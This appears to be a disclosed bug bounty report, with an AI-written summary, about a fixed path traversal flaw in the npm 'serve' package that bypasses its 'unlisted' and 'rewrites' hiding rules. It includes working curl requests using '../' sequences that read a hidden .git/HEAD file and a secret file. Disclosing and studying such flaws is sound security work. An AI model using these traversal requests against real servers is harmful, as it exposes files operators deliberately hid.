[serve] Access unlisted internal files/folders revealing sensitive information
The serve package's unlisted and rewrites configuration options, which are meant to block access to certain files and directories, can be bypassed by requesting a path that includes a directory traversal sequence. An attacker could read sensitive files such as the .git directory or a secret file that the server operator intended to hide.
- Triaged in 16 hours
- Fixed in 11 days
- Disclosed after 11 days
I would like to report sensitive information disclosure in serve. Bypass of #308721 in ways.
Module
module name: serve version: 10.1.1 npm page: `https://www.npmjs.com/package/serve
Module Description
Assuming you would like to serve a static site, single page application or just a static file (no matter if on your device or on the local network), this package is just the right choice for you.
It behaves exactly like static deployments on Now, so it's perfect for developing your static project. Then, when it's time to push it into production, you deploy it.
Furthermore, it provides a neat interface for listing the directory's contents
Module Stats
weekly downloads 138,377
Vulnerability
Vulnerability Description
The serve modules allows directory browsing and to serve static files through the browser.
The config options unlisted and rewrites can be used to tell the module which file or directory are forbidden and should not be served.
refer: https://github.com/zeit/serve-handler/issues/48
This rule can be bypassed using the technique below which can lead to sensitive information disclosure (An interesting example: https://smitka.me/).
Steps To Reproduce:
- Install
serve
$ npm install -g serve
- Inside a project directory, initialise
gitand create404.html.
$ git init
$ echo "404 Not Found" > 404.html
$ echo "secret text" > secret
- Add rule to ignore
.gitfolder inserve.json
{
"rewrites": [
{ "source": ".git/**", "destination": "/404.html" },
{ "source": "secret", "destination": "/404.html" }
],
"unlisted": [
".git"
]
}
- Start
servein current directory.
$ serve
INFO: Discovered configuration in `serve.json`
┌───────────────────────────────────────────────┐
│ │
│ Serving! │
│ │
│ - Local: http://localhost:5000 │
│ - On Your Network: http://127.0.1.1:5000 │
│ │
│ Copied local address to clipboard! │
│ │
└───────────────────────────────────────────────┘
- Now, current directory will be served by
servewith the exception of folder.gitand filesecret. - If we try to curl
.gitorsecretwe get a Not Found error
$ curl http://localhost:5000/.git --path-as-is
404 Not Found
$ curl http://localhost:5000/secret --path-as-is
404 Not Found
- Although if we request any other url and then navigate back to the forbidden files/folders using
../scheme, we are able to extract it's contents successfully.
$ curl http://localhost:5000/any/../.git/HEAD --path-as-is
ref: refs/heads/master
$ curl http://localhost:5000/any/../secret --path-as-is
secret text
Supporting Material/References:
- Ubuntu 16.04
- node v11.3.0
- npm 6.7.0
Wrap up
- I contacted the maintainer to let them know: N
- I opened an issue in the related repository: N
Impact
The essentially bypasses the unlisted and rewrites files/folders feature and allows an attacker to read from a directory/file that the victim has not allowed access to.
References:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could read files and directories that the server operator explicitly tried to hide, potentially exposing sensitive information.
What the attacker needed
Serve is running with unlisted or rewrites configured; attacker can send HTTP requests to the server
How it was found
- Install serve globally with npm.
- In a project directory, initialise git and create a 404.html file and a secret file.
- Create a serve.json configuration that rewrites .git/** and secret to /404.html and lists .git as unlisted.
- Start serve in that directory.
- Request /.git or /secret directly and observe a 404 Not Found response.
- Request a path like /any/../.git/HEAD or /any/../secret and observe the contents are returned.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The serve tool lets you share files from a folder over the web and has settings to hide certain files. The report shows that by adding '../' in the web address, you can sneak past those hiding rules and read the hidden files. This means private information could be exposed.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.